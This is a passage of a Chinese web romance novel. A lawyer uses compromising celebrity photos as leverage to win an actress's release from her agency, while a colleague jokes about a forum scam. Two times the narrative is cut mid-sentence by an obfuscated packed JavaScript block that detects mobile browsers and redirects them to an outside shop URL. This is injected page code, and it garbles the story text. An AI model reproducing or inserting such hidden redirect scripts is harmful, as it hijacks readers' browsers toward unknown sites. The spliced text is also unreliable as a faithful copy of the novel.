聂闪闪脸上还挂着小珍珠,动作却非常‘豪迈’,举着杯子直接干了。 聂闪闪:“再来一杯!” 林朝月:“……” 林朝月:“你确定?” 聂闪闪:“我、我确定。” 说了随便喝当然不能食言,半个小时里,林朝月连着点了四杯‘自由古巴’。 聂闪闪喝完最后一杯也不哭了,因为她直接倒头就睡了过去。 闻雅叫了两声都没叫醒。 闻雅有些担心:“她喝了这么多没事吧?” 林朝月见聂闪闪彻底睡过去了,才说:“没事,只有第一杯是酒,后面几杯都是饮料。” 这么点朗姆酒只会醉人,还不至于出事。 林朝月:“知道她家在哪儿吗?” 闻雅:“知道,我们住的挺近的。” 知道就好。 林朝月问了地址后,帮着约了个车:“我叫人扶她下楼,你路上给她家里人打个电话,叫人来接她,到家了告诉我一声。” “知道了。” 酒吧的服务员业务很熟练,毫不费力地就把聂闪闪扶到了门口,还十分体贴地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451281|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿了个轮椅给她坐。 林朝月站在门口陪两个人等车。 闻雅犹豫了一会儿,还是和林朝月说了句:“那个女生和你分到一组了,听闪闪说那女生是她堂妹,从小就爱和她比,这次也是故意挖她墙角的。” 林朝月挑眉,堂姐妹玩这么大? 闻雅其实还听说了一些。 但站在大街上也不好多说。 只能很隐晦地提了一句让林朝月小心。 林朝月又不是奋勇拼搏的职场人,别人怎么样和她也没什么关系,不过她还是点头,算是谢谢闻雅的好意。 这个时候的林朝月还没意识到自己把问题想的太简单了。 也没想到聂闪闪这堂妹比她段位高了不是一星半点。 聂闪闪醉酒念叨了一晚上的‘贱人’,林朝月第二天一早就看见了。 因为同组的人为了工作方便,工位重新挪到了一起,那女生就坐自己对面。 至于坐在自己边上的那个文静的女孩子,应该就是裴舒文让自己学习的对象了。 “你好,我叫林朝月。” “你好,我叫孟兰枝,你可以叫我枝枝。” “枝枝。”林朝月觉得这文静的姑娘大名好听,小名也很可爱。 但有人显然不这么觉得。 孟兰枝的自我介绍换来了对面一声不坏善意的‘呵呵’。 “宁城的红圈所原来是用来交朋友的,枝枝,不知道的还以为是什么会爬的小动物呢。” 看着是开玩笑。 但言语中却带着很明显的攻击。 大家又不是傻子,谁听不懂这是在内涵孟兰枝的小名像老鼠。 林朝月皱了下眉,看着对面的工牌,说话的人也姓聂,这就是那个挖堂姐墙角的小三?果然不是什么正常人。 林朝月开口想说话。 却被孟兰枝拉了下衣角:“我们后面还要一起交流学习的。裴律把考核相关的文件发给她们了。” “什么意思?什么考核文件?” 孟兰枝:“裴律让我们四个互相协作,我和你主要负责整理储藏室的卷宗,起草关键文书和前期尽调的工作交给了她们,资料也在她们那里。” 林朝月:“你的意思是,交给她们的那部分资料我们也需要?但她们不想给是吗?” 林朝月虽然懒,但不笨,看孟兰枝那为难的表情她也猜到了。 对面的两个女生听见林朝月的话,白了她一眼后迅速否认。 “林律你这样说就不对了,裴律虽然说要我们互相协作,但交给我们的工作肯定是我们两个主要完成,资料当然也要我们优先看。” “可是那些资料是电子的……” 孟兰枝的话还没说完就被打断了。 “再说了,你们整理卷宗的工作也用不着资料,所里随便捞个实习生都能做。” “贪多嚼不烂这事应该不用我们来说了吧,好好坐享其成得了,这么认真的样子,难道你还想争组内的第一?” 工作上的事林朝月其实不太懂。 但直觉告诉她这些资料确实比较重要。 起码不像对面这两个人说的那样。 林朝月看孟兰枝:“你说资料是裴律给的?” 孟兰枝小脸已经涨的通红:“嗯,裴律亲口说的。” 另一个女生说:“怎么,你们还想告状?” 林朝月直接笑了,脸上的表情写着‘你没事吧’:“三岁小孩?还要告状,既然你们两个不想分享资料,那我们再打电话要一份不就行了。” 裴舒文的电话她早就置顶了。 打个电话。 顺手的事。 这次轮到对面这两个女生笑了。 “裴律那么忙,你算老几?还接你电话……” 林朝月等了三秒,看着接通的电话,挑眉举起了手机:“很忙?这不就接了。” 16. chapter 16 赵淮安进莱光娱乐大门十分钟,端上来的茶水连热气都没散。 他这辈子的气就几乎都在这里受完了。 反观裴舒文,面上还是那副淡定的样子,脸上连一点多余的表情都没有。 赵淮安:“不是!这什么情况啊?林晓的助理不是说,已经和莱光的老板约好了今天见?昨天我还给莱光打电话确认过,结果今天我们人来了,他们老板出国度假了?啊?啊?” 干他们律师这行,碰钉子也是常有的事。 但特意把他们从宁城折腾过来再放鸽子。 这也太不讲武德了! 裴舒文不紧不慢地喝了口茶,淡定得像是没这回事:“既然没直接赶我们走,就坐下歇会儿,尝尝这毛尖,是上品,味道不错。” 坐个屁! 他现在哪有心情坐下。 “你还有心情喝茶!我起了个大早连早饭都没吃就跑来这里受气!早知道我就不来了!” 裴舒文了解赵淮安。 知道他是被气到了,嘴上说着过过瘾。 裴舒文由着他说,也不接话,自己安心坐在位置上喝茶。 中途还开电脑回了几个邮件,回了几条林朝月父母的消息。 看他那样子,完全不像是在对方当事人的地盘,倒像是在自己的老巢。 但裴舒文就是这种人,无论遇到什么情况都能游刃有余,他不在意过程,也不在意手段,他只关心最后的结果。 两个人就这么被晾了半小时,裴舒文的茶都续了两盏。 莱光的总经纪人终于姗姗来迟。 声音是从十米外传过来的,细长高跟打着地板,声音‘踢踏踢踏’响。 来人婀娜身段上包装的满是奢侈品,不愧是带出过圈内顶流的女经纪人,单看面相就知道非常精明不好惹。 “裴律、赵律,你们好,我是莱光的总经纪戚园园,你们可以称呼我戚总,也可以称呼我Sophia。” 裴舒文礼貌点头,但没说话。 赵淮安见来人是个女人,攒了一肚子的气不好发作,闷声说了句:“戚女士,和宋总的见面时间我们是提前敲定好的,宋总这么大的老板,临时毁约放别人鸽子,传出去怕是不太好听吧。” Sophia脸上挂着微笑,做了填充的脸看起来像个假人。 她睁眼就开始说瞎话。 戚园园:“我想两位误会了,我们宋总是很有原则的人,从来不会轻易放别人鸽子;是宋总秘书室新来的实习生记错了时间,后续会直接开除,我代替实习生向你们道歉。” 戚园园:“我刚才和宋总确定了时间,他下周三下午两点有空,到时候就麻烦二位再跑一趟,今天就先不留二位了。” 裴舒文依然没说话,却轻笑了一声。 戚园园嘴上说着抱歉和麻烦。 但锅甩给了一个不知姓名的实习生。 他们人就在这里,下次见面的时间也没和他们商量,只是生硬的通知。 确实不是‘轻易’放他们鸽子,而是有意为之。 裴舒文依然没说话,垂眸在想些什么。 赵淮安却要被气死了:“我们这次是专门从宁城赶过来的,你的意思是现在我们就可以回去了是吗?” 戚园园没有一点愧疚感,看赵淮安的眼神中还带着一些嘲讽。 “今天实在不巧,但赵律师不是头一天做律师,出差这种事还没习惯吗?我下面带的经纪人平时可都不会因为这种事抱怨。” “您看裴律不是也没说什么。” 赵淮安觉得自己仅存的‘绅士风度’已经没了,管她对面是不是女人! 他想吵架。 就是现在! 立刻马上! 只是还没等他发作。 一直保持沉默的裴舒文终于有反应了。 裴舒文接过了戚园园的话:“戚总,我这里带来了两份东西,本来是想交给宋总的,虽然宋总不在,但我认为你应该也会感兴趣。” 裴舒文面前的桌子上,不知道什么时候多了一个纯白色的文件袋。 文件袋开了一个口。 从露出的边角能看出文件袋里装的是一叠照片。 裴舒文随便抽出了一张,然后从文件袋里倒出了一个U盘。 “这是什么?”赵淮安第一时间凑过去想看。 这次和莱光娱乐谈判的资料都是他准备的,他怎么不记得自己什么时候准备过这些。 裴舒文并没有让赵淮安如愿看到,因为他抽出的那页照片是扣着递给戚园园的。 戚园园犹豫了。 想到她来之前宋总的交代。 戚园园最开始不想接,但她右眼皮猛地跳了一下,女人的第六感让她伸出了手…… 看过那张照片后,戚园园走的很急,离开时没有半点之前的从容。 只丢下一句‘我马上就回来,你们先不要走。’ 赵淮安一脸莫名其妙地看裴舒文:“这到底什么情况啊?你把什么给她了。” 裴舒文点了点桌上的文件袋:“自己看。” 赵淮安的好奇心彻底拉满了,他直接把一文件袋里的照片都倒了出来。 其中有一张不小心掉在了地上。 赵淮安弯腰想去捡,但头刚低下,他人就彻底僵住了。 靠! 这什么情况啊! 这照片上的画面怎么好像比他6块钱买来韩漫还要劲爆。 这照片上的女主角……还有这男主角……虽然都没怎么穿衣服,但他怎么感觉这么眼熟。 赵淮安当年是校辩论社的种子辩手,现在却一句完整的话都说不出了。 像个小磕巴。 “这照片……我怎么……我们刚才进来的大厅……” 裴舒文没看他,但猜到了他想问什么:“嗯,是大厅海报上挂的那两个人。” 赵淮安:“???” 可那两个人不是娱乐圈里出了名的不对盘吗?两家粉丝天天扯头花,打的热火朝天,连他这个圈外人都知道。 原来关系不好都能演啊? 这两人私底下关系好的都连成一个人了。 赵淮安翻着那些照片:“不对呀,你从哪里弄来了这么多明星丑闻,你什么时候改行做狗仔了?” 事实上。 裴舒文从决定接下林晓的委托开始,就开始着手准备这些东西了。 林晓做了五年莱光的当家花旦,虽然林晓的经纪合约马上到期了,但曾经拥有这么大一颗摇钱树,莱光必然不会轻易放手。 莱光娱乐的老板还是宋文华,他少年时期就听说过他的一些‘事迹’,非常精彩。 明知道这是一块难啃的骨头,他自然不会毫无准备。 裴舒文:“收起来吧,等下有人会来拿,你如果想看,我电脑里还有备份。” 抓着这么一把香艳的照片,赵淮安非常想狡辩自己根本就不想看。 但犹豫了半天,他觉得人还是要认清自己的内心。 这么劲爆的瓜谁不想吃! 他感觉没人会不想吃! 他反正好奇死了。 “行。”赵淮安轻咳了一声:“不过你说有人会来拿?谁会来?” “等等就知道了。” 赵淮安‘哦’了一声,重新把拿出的照片封装好,抻着脖子往外望着等人。 这次只等了十分钟不到人就来了。 “裴律,赵律,我们宋总听见你们今天过来,已经赶回来了,两位要不和我去楼上的休息室等?我看裴律比较爱喝茶,楼上已经准备了上好的雨前龙井。” 刚刚还趾高气昂的女人,现在全然换了一副面孔。 但裴舒文看了眼时间,直接否了戚园园的‘建议’。 “戚总,如果宋总诚心想谈,我们就在这里等他,我和赵律的时间宝贵,一个小时后还另外有约,我们到时间会准时离开。” 裴舒文声线平和,但戚园园非常清楚地知道他并不是在开玩笑。 尤其是目光扫过桌子上的白色文件袋。 即便已经猜到那些照片和她刚刚在U盘里看到的一样。 她还是忍不住心惊肉跳。 戚园园脸色不太好地抿唇:“裴律,这些照片对我们旗下艺人的影响太大,我让宋总立刻下来,这些照片先由我拿走销毁,您觉得可行吗?” 她已经做好裴舒文拒绝的准备了。 但裴舒文这次却非常‘通情达理’:“当然。” 裴舒:“只是贵司已经感受到我的诚意了,我希望后面也能看到宋总的诚意。” 宋总能不能拿出诚意,戚园园不知道,这也不是她能管的。 但如果这些照片流出去。 那她这个总经纪人也可以引咎辞职了。 戚园园这次从进了这个会议室开始,就在全程赔笑脸,要知道她在圈子里即便见到一些一线的明星也不会这么卑微。 戚园园:“当然,怎么说莱光也是林晓的老东家,最后还是希望好聚好散的;最多五分钟,宋总马上就会过来。” 从最开始的‘刚下飞机,人在国外’到后面的‘已经第一时间赶回来’,再到现在的‘五分钟’。 赵淮安都忍不住咂舌。 这变脸速度还真是比翻书都快。 赵淮安:“你说五分钟,宋文华真能赶过来吗?” 裴舒文:“应该不用五分钟。” 赵淮安‘啊?’了一声,惊讶地说:“你意思宋文华今天压根就在?玩我们呢?” 裴舒文:“嗯。” 他们今早刚到莱光的时候,他看到了一辆车,那辆车的车牌和型号,刚好和宋文华的的私驾一致。 他确实更倾向于宋文华始终都在,只是为了刻意为难他们才没出现。 但现在事情出现重大转变。宋文华再拖延不仅没有意义,还多了很多不确定的风险。 赵淮安:“你要是这么说我就放心了,不管这次聊的怎么样,起码没白来。” 赵淮安还有些小得意地看裴舒文。 但裴舒文压根没看他,而是在看手机。 裴舒文:“嗯,我接个电话,准备好的合同可以拿出来了。” “接谁的电话?这么急,宋文华不是马上就到了?” 裴舒文抬手示意他静音,按了接听键。 裴舒文没什么情绪:“有事?” 林朝月拨电话的时候,觉得是顺手的事,接通电话听见熟悉的声音。 人秒怂。 但她毕竟刚嘚瑟完,硬着头皮也得上。 林朝月轻咳一下:“有,昨天你发聂晶晶的资料也发我一份。” 这么说是不是太生硬了。 她想了想,又补了句:“你现在有空吗?” 裴舒文看赵淮安,他把准备的合同摆出来就掐着时间站去了门口。 此时看见宋文华三分钟不到就来了,朝裴舒文竖大拇指的同时,还比了个口型‘你真神了!人已经来了。’ 裴舒文点头,却并没有挂断电话而是转过身。 裴舒文:“我办公室的抽屉里有一份纸张版资料,我告诉你位置,你去秘书室找张秘书,让她带你进去拿。” 纸质版电子版都一样,有一份就行。 林朝月拿起纸笔,记下了裴舒文刚刚说的位置。 “嗯嗯,好,办公室右侧办公桌下面第三个抽屉里,钥匙就在桌子上……” “好,我知道了。” 事情解决,林朝月以为电话就可以挂了。 裴舒文却突然说:“我外祖父让家里捎了东西给你,就放在我家里厨房的冰箱,晚上你记得拿走。” 林朝月‘哦’了两声。 方爷爷给她带东西了?老人家这么关心她,林朝月觉得自己有空也要专门去拜访一下。 说完这件事,林朝月觉得这次可以挂了。 裴舒文却又提起了给车送保养的事:“4s店那边我已经打过招呼了,到时间他会在楼下等你。” 这事昨天不是已经说过了吗。 她只是懒,又不是记性不好。 而且这人今天话怎么这么多。 但这电话不挂不行了,她主动打的电话,裴舒文是秒接的。 聊工作上的事倒是没什么,但生活上的事聊这么多,估计都不用明天,吃午饭的时候,她和裴舒文的谣言就要满天飞了。 而且她发现周围人手上的工作都停了,时不时就要往她这边看上一眼。 真是麻烦! 林朝月维持着假笑,灵机一动,说话突然变得官方起来:“裴律您放心,工作上的事我肯定用心完成,晚上下班我就把车送去保养,要是没什么别的事我就先挂了,不耽误您时间。” 林朝月说完迅速挂了电话。 最后如释重负地深吸了一口气。 挂了挂了,终于挂了。 林朝月在庆幸,一旁聂闪闪那个倒霉妹妹却在冷哼:“我劝某些人还是有点自知之明,不就是帮裴律开过两次车,还真以为在裴律那里有什么优待呢,真是给我看笑了。” “除了工作,出了律所大门,估计裴律看都不会看某些人一眼吧。” 这么明显带有讽刺的话,林朝月却像是根本不在意。 她耸肩看聂晶晶:“你既然这么喜欢优待你就争取啊,又没人拦着你让裴舒文多看两眼。” 林朝月丢下这句话,拿着便利贴去了十二楼。 身后的人气的跳脚。 而上了电梯的林朝月却在暗喜。 还好还好。 没把她和裴舒文划在一起就行。 穷点她忍了,上班她也能坚持。 但今天她和裴舒文传绯闻,明天她爸妈就能回国按着两个人入洞房。 这绝对不行! 林朝月在费力地和裴舒文撇清关系,而裴舒文挂了电话却非常自然地对宋文华说:“家里临时有事,宋总久等了,您应该不介意吧。” “怎么会呢裴律师,请坐。” 宋文华是笑着说的这话,但看向裴舒文的眼神中却没有任何笑意。 敢在他的地盘上威胁他,现在的年轻人胆子真是不小。 裴舒文当然知道宋文华不是真的不在意,但事情既然仍然按照他预想中的情况发展。 对面是什么情绪,对他来说并没有那么重要。 裴舒文:“宋总,想必您也知道这次我和赵律师的来意,林晓女士和贵司的演出经纪合约即将到期,我们接受了她的委托,希望能和贵司顺利解约,好聚好散。” 裴舒文又说:“林晓是当红女星,宋总拥有这么大体量的经纪公司,如果闹得太僵,传出来不好听是次要的,主要也有损双方的利益。” 宋文华年近五十,人却依然透着精明强干,审视裴舒文的同时,手上一直摩挲着大拇指上的玉扳指。 宋文华:“裴律带来的照片我看了,我宋某人一向很讲情分,但林晓把这些东西给了你,看来是不想和我这个旧人讲情分了。” 宋文华话说得隐晦。 但在场的人都不是傻子,林晓能在这么年轻的年纪爬上来,必然是用了一些非常的手段,和公司的老板有了纠缠,在这个圈子里就很难做到全身而退。 裴舒文:“我想宋总可能是误会了,这些照片只是我送给宋总的一些见面礼。这么私密的照片,宋总难道不好奇我是怎么拿到的吗?” “你是怎么拿到的?”宋文华面色很冷,眼中像是停留着一潭深不见底的水。 裴舒文把拟好的解约合同推到宋文华面前:“宋总您看看这个,如果没什么问题我们再继续这个话题也无妨。” 宋文华也是久经谈判桌的老手。 照片的问题他可以查,但他不会轻易被裴舒文牵着鼻子走。 宋文华并没有看,而是把解约合同推了回去:“林晓现在还算莱光的人,解约的事我要亲自和她谈,你们把我的意思带给她。” “也不要忘记提醒她,别把我最后的这点情分也耗尽。” 林晓找裴舒文出面,提出的第一个条件就是由他全权代理,不需要自己出面。 即便这次谈不拢,后面走到诉讼阶段,林晓也不会出面。 赵淮安在旁边听了半天,始终一言不发。 见到莱光的老板后,他突然有些后悔让裴舒文接下这案子了。 双方当事人的段位都太高,对彼此有忌惮又都各怀鬼胎,真最后闹得只剩一个烂摊子,不会真要他来收场吧…… 不过裴舒文没给赵淮安这个机会。 裴舒文时刻在心中权衡着时机,在第二次听到宋文华提到‘情分’的时候,裴舒文知道时机已经到了。 “宋总,林晓女士也正是顾及到情分,才花了很多心思请我出面,时间过去久了,您或许不记得我,但您应该记得我父亲。” “你父亲是?” “我父亲是裴振业,他以前带我参加过小敏的生日宴。在生日宴上我就见过宋总,但您应该不记得了……” 宋文华唯一的宝贝女儿叫宋小敏。 裴舒文打起了感情牌。 赵淮安忍不住在桌子底下给他竖了个大拇指。 裴舒文他爹就算再不是东西,但社会地位还是很高的,把这位都搬出来了,今天这事大概率是成了。 …… 半个小时后,宋文华亲自把裴舒文送到了大厅门口。 裴舒文之前嘴里的‘宋总’也改成了‘宋叔’,完全看不出就在不久之前,两个人之间的气氛还有些剑拔弩张。 等走远了,裴舒文才看赵淮安:“有什么想问的就问。” 赵淮安搓搓手:“你怎么把你那倒霉爹都搬出来了,这事大概率能成,但我怎么感觉宋文华以为你和林晓有一腿呢。而且你都不解释,你不会真看上林晓了吧?” 谁能不爱那种璀璨夺目的女明星呢。 裴舒文:“没看上,宋文华想知道什么他自己会去查,有些事即便我说了他也未必会信。” “没看上林晓?那么大一美女都没看上,要我说你眼光也别放太高,我好像就没见过你喜欢女人,这几年除工作唯一走的近的就是林朝月了,你不会真的……喂你等等我啊,我话还没说完呢,你怎么自己走了……” -- 站在楼顶的宋文华盯着挂在墙上的林晓海报,眼神中充满了阴鸷。 他知道林晓这次铁了心想走,但没想到她找了裴振业的儿子来当说客,笼子里的鸟放养久了,聪明了,心也野了。 戚园园小心翼翼:“宋总,我们真的要答应那些条件和林晓解约吗?” “去查查。”宋文华说:“看林晓是不是真和裴家这小子搞在一起了,如果是就找狗仔蹲,加点料一起放出去。” “如果不是……那就想办法拍出些东西。”他宋文华在圈子里混了这么多年,可不是吃白饭的。 解约可以。 但想毁了林晓,他有很多办法。 他这次可以给裴家人一个面子,但他相信林晓迟早会回来跪着求他。 就像很多年前一样。 戚园园:“我明白了。” 三个小时后。 收集好的资料送到了宋文华的手里。 宋文华皱着眉头翻阅:“林家?哪个林家?” 资料上写裴舒文和林晓只是单纯合作关系,裴舒文疑似有未婚妻。未婚妻姓林。 戚园园抿唇,这份资料拿来之前她看过。也觉得事情有些复杂了。 戚园园如实说:“是腾辉集团那个林家,我还听说林家最近收购了一家海外的娱乐公司,林晓正在接触,但目前还不知道真假……” 宋文华瞳孔缩了一下,手里捏着的杯子重重地砸到了地板上。 炸开一地。 好。很好。 难怪这么肆无忌惮。 原来是找到新靠山了,林晓可真是好本事。 戚园园屈膝捡起地上的碎瓷片,小心翼翼:“宋总,那我们接下来怎么办?” 沉默冷肃的空气让人心悸,华丽海报上女主角的脸被划了一道长长的疤,乍一看像只崎岖爬行的蜈蚣。 “解约,就按他们要求的。” “其他的事等等再说。” …… 午休的时间大家都在八卦。 林朝月低头扒饭的时候听了一耳朵,好像说的是她们家。 “看新闻了吗?腾辉集团最近收购了一家国外的娱乐公司,听说国内很多明星都蠢蠢欲动,连头部的那些明星都传出风声了。” “真的假的,原来经纪公司能轻易放人吗?腾辉不是搞金融的吗?怎么还跑去娱乐圈掺和一脚,感觉不是很靠谱。” “就是这种公司才值得去啊,听说腾辉集团的老板最近特意飞的国外,已经秘密签下了几个一线大腕,这肯定都是精心布局过的,现在不抓紧,小心后面吃屎都赶不上热乎的……” 林朝月心想,收购就是顺手的事,她爸妈这次国外呆这么久,肯定不是为了什么娱乐公司。 林朝月懒得搭话。 孟雨枝不追星不了解这些,也不说话。 两个人几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544265|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默默吃完全程。 等回去的时候,孟雨枝才问她:“朝月,下午你要去储藏室整理卷宗吗?” “去啊,当然去。”她为了躲清静也要去收藏室装装样子的。 孟雨枝听见后有些不大好意思地说:“那我等下能请教你几个问题吗?我要了份整理卷宗的步骤单,但上面有些东西我没看懂。” 林朝月:“行啊,那我们一会儿直接过去。” 反正她一个人过去也无聊,有个人能一起摸鱼聊聊天也不错。 但等去了储藏室,林朝月才发现自己想太多了。 孟雨枝似乎对工作这件事格外的热情,从进了储藏室开始就兴奋地四处看,四处整理,根本看不出有任何摸鱼的想法。 拿出了步骤单后,就开始一条一条地问林朝月。 林朝月知道的不多,基本都是裴舒文和她说过什么,她就原封不动地照搬。 孟雨枝:“那这些卷宗整理的时候有优先级吗?裴律有没有说哪些是比较重要的,需要优先整理?” 林朝月听裴舒文说话的时候,有一半时间在走神,可能是说了,但她没听见。 林朝月:“我忘了,我只记得要这周前把这些卷宗都整理好,要不我给裴舒文打电话问问?” 她作势就要打电话。 麻烦裴舒文的事,一回生二回熟,她正好也在他面前刷刷自己正在‘努力工作’的存在感。 “别,别打扰裴律,我就是随便问问,没有重点就把所有卷宗当重点好了。” 林朝月看出了孟雨枝的窘迫,她逗了这姑娘一句:“你是不是怕裴舒文?连我说打个电话都不敢?” “嗯,你不怕吗?”这姑娘倒是非常坦诚。 林朝月也想说‘怕’,但话到嘴边,她突然觉得自己对裴舒文也不是害怕,而是一些更复杂的情绪。 但如果非让她说,她还真有些说不清。 “好的,不说这个了,不是说想快点整理卷宗然后学习吗?让我们一起来快乐工作吧!” “好。” 嘴上说着快乐工作,但很快林朝月就觉得工作这事很难快乐,她没干一会儿就泄气了。整理这些枯燥的文件真是毫无动力。 偶尔看到一些有趣的案子她还喜欢看看,但那种枯燥的经济纠纷里面都是数字,看得她头发昏。 她很想玩两把游戏过过瘾。 但孟雨枝工作非常认真,既不抱怨也不喊累,她也不太好意思直接摆烂。 哎。 她还以为裴舒文是看自己工作太无聊了,给她找个伴。 现在想想还不如放任她自己呢。起码摸鱼摸得没什么心理负担。 林朝月在心里面幽幽叹气。 “朝月,你是不是累了,要不要休息一下,我住公司宿舍晚上可以过来加班,你不用担心裴律回来之前整理不完。” “枝枝,你是不是真的很热爱工作?” “也不是啦,我就是觉得大家都很优秀,我就是只能笨鸟先飞了。” “枝枝,我觉得你说错了,你根本就不笨,你虽然记性不如我,但你执行力太强了,而且精力太旺盛了,整理卷宗也是又快又好。” 孟雨枝长这么大很少被人夸。 她不好意思地挠挠头:“啊,可能我家里条件不好,事情都要自己做,就习惯了。” “我觉得这个工作没大家说的那么难,还挺有趣的,我刚刚总结了一些关键点,你要是不嫌弃我可以分享给你……” 开始的工作是林朝月一知半解地告诉孟雨枝,后面就是孟雨枝反过来教她了。 林朝月确实发现了一些乐趣。 但不多。 这些乐趣只支撑她连续工作到了周五那天下午,她就又泄气了。 这几天她被孟雨枝带着一起勤勤恳恳的工作,截止到刚刚,所有散落在地上的卷宗基本都整理完了。 她本来都掏出手机准备摸鱼打游戏了。 结果刚在储藏室的椅子上坐下,就看到了桌子下面还摆着一小摞的卷宗。 数量不算多。 有七八份的样子。 她和孟雨枝最开始按储藏室的区域分过工,这一部分刚好是她要做的。 苍天啊! 救救她吧! 她不就是有一个小小的当咸鱼的梦想,怎么就这么难实现啊! 孟雨枝虽然人腼腆,但因为林朝月性格比较开朗,两个人已经很熟悉了。 见她这样,走了过来:“怎么了?不回工位吗?” “回不去了。”一大摞的卷宗被林朝月抱着堆在了桌子上。 林朝月叹了口气,最后认命地说:“你先回吧,我才发现我还剩了这么多,等我整理好估计可以直接下班了。” 孟雨枝:“还有这么多呀,要不你分我一半,我帮帮你吧。” 林朝月:“刚刚人事不是说你入职信息有问题,让你去重新核对一下吗?你快去吧,不用管我。” 孟雨枝却不肯,直接从中间抱走了上面的那几份。 孟雨枝:“没事的,我住律所的员工宿舍,周末没什么事情我想来所里加班。” “还要加班啊?”林朝月知道孟雨枝最近晚上都走的很晚。还是想拒绝。 孟雨枝这次却没给她拒绝的机会,直接把卷宗抱回了自己的工位。 七八份卷宗林朝月会吃力。 三四份就还好。 她抓紧时间整理了一下,这次也没那么有兴趣把里面的案件都看一遍,最后终于踩着下班时间溜了。 裴舒文给她的那辆mini已经修好了,她开车下班。三十分钟后已经洗过澡、换好睡衣,心情愉悦地躺在了家里的大床上! “还是不上班好呀!” 她抱着身下柔软的被子彻底放松了下来。一想到明天不用早起,还在床上来回打了两个滚。 本来还想感慨一句‘还是自己家好呀!’ 但转过身看到这房子里风格冷淡的装修,她才想起来这是裴舒文的家。 除了那天打电话,她和裴舒文已经好几天没联系过了。 也不知道他在干嘛。 鬼使神差得,林朝月点进了裴舒文的朋友圈。 本以为还会是空荡荡的一片,但这次他朋友圈里却零星的出现了两条转发的链接。 一个是国内的前沿法律,她不感兴趣。 还有一个是杂志采访,她点进去扫了两眼,也不怎么感兴趣。 然后她就非常爽快地都退了出来。 但她也不知道是不是这几天整理卷宗累着了,点退出的时候,手指又非常不听使唤地点到了裴舒文的头像。 我拍了拍"裴舒文"。 林朝月:“???” 这么无聊的功能到底能不能删除啊!这到底有什么用! 她手指在键盘上飞速打字‘我没什么事,只是不小心按到了。’ 刚想点发送键。 林朝月就收到了一笔裴舒文的转账。 没看到金额之前林朝月的心漏跳了一拍。 她现在对这种转账界面尤为亲切。 等看到金额后,林朝月的脑子里只有大大的问号。 林朝月:“你转我6块钱干嘛?转错了?” 裴舒文:“被诈骗追回的赃款。” 林朝月很想说,你没事吧?我可是被整整诈骗了两千万,又不是两千块!六块钱能顶什么事?她知道自己的案子被钟女士委托给裴舒文了,但也不要和她说这种冷笑话好不好。 一点也不好笑。 但很快,随着某些记忆渐渐回笼,她突然有了一种不详的预感。 并且这种预感越来越强烈……让她迫切地切出微信,点开了宁城的律师论坛。 她最近几乎天天逛这个论坛,用起来非常熟练。 她点进了自己的个人主页,翻到了自己为了吐槽裴舒文,唯一发过的那条帖子。 目光精准定位1L留言的位置。 本来想说还好还好,卖黄|色小漫画的那楼主还在。 但点进去他的主页后,林朝月发现他竟然被封号了,理由还明晃晃地写在上面‘该账号因在本论坛传播淫|秽物品被永久封号禁言’。 很好,这下子好笑了。 她开始变得好笑了。 林朝月甚至都没再看自己发帖说的内容,光速退出了那个界面。 做了将近半个小时的心理建设。 林朝月才发过去了一句:“你怎么知道那个贴是我发的?6块钱的损失其实我能承受的,你也不用特意把钱转给我,而且我也没看。” 最后的这句弱弱的,像是想解释什么。 裴舒文却压根不在意。 没回她这句,只是说:“我下周一回去,想说什么可以当面和我说。” 当面说什么? 她想说的不是都说完了。 为什么还要当面说啊!不就是6块钱!他还想听她说什么! 听她在论坛吐槽他,还被骗了6块钱的心路历程吗? 她果断闭麦。决定装死。 但裴舒文还是没放过她。他朋友圈很快弹出了一条崭新的链接。是论坛今天最新发布的置顶标红帖。 标题是:【近期论坛涉嫌诈事件猖獗,管理员统一处理后,公示如下】 主楼:【图片中名单分别汇总近期诈骗事件,骗子id,受骗人id,以及诈骗金额;部分受骗人金额讨回,已通过相关途径归还受害人,未讨回部分由受骗人自行承担。】 然后下面发了一长串的图片。 上面是按照被诈骗的金额排序的。 她翻到了最下面,然后看到了自己。 诈骗事件:通过回帖兜售国外无版权大尺度黄|色漫画(烂尾版) 骗子id:有胆你就来 受骗人id:打开天窗说脏话 被骗金额:6?(已由君天梁木代为退回) 本来只社死了一半,但林朝月这次觉得自己已经死透了。她光速在论坛销号跑路。 最后觉得不稳妥。 弱弱地给裴舒文发了句。 林朝月:“这件事你应该不会说出去吧?[球球了].jpg” 裴舒文:“不是说自己专业看脸色二十年?要不你再猜猜看我会不会说出去。” 林朝月o(╥﹏╥)o,帖子裴舒文果然都看到了。 她那些吐槽的话,他估计也一字不落都看到了。 林朝月于是破罐子破摔:“我不是还说我看不准你的脸色嘛!所以你到底会不会说出去!” 17. chapter 17 裴舒文最后说了一个‘不会’,就不再理她了。 林朝月本来想着好不容易周末了,要好好玩玩,就算不出门也要在家里放松一下。 但这两天她的心是半点都没松下来。 每次想到裴舒文捏着她的‘小把柄’,林朝月都有一种说不出的烦躁,最后连点的日料吃起来都不香了。 林朝月就这么度过了难熬的周末。 周一上班的时候整个人都有些恹恹的。 连孟雨枝都发现她不太对劲了。 孟雨枝:“朝月你怎么了?生病了吗?怎么这么没精神吗?” “生病了。” 疑心病,总是担心裴舒文会把自己的那些光荣历史抖落出去。 “啊?怎么了?发烧了吗?要不要请假去医院看看啊。” 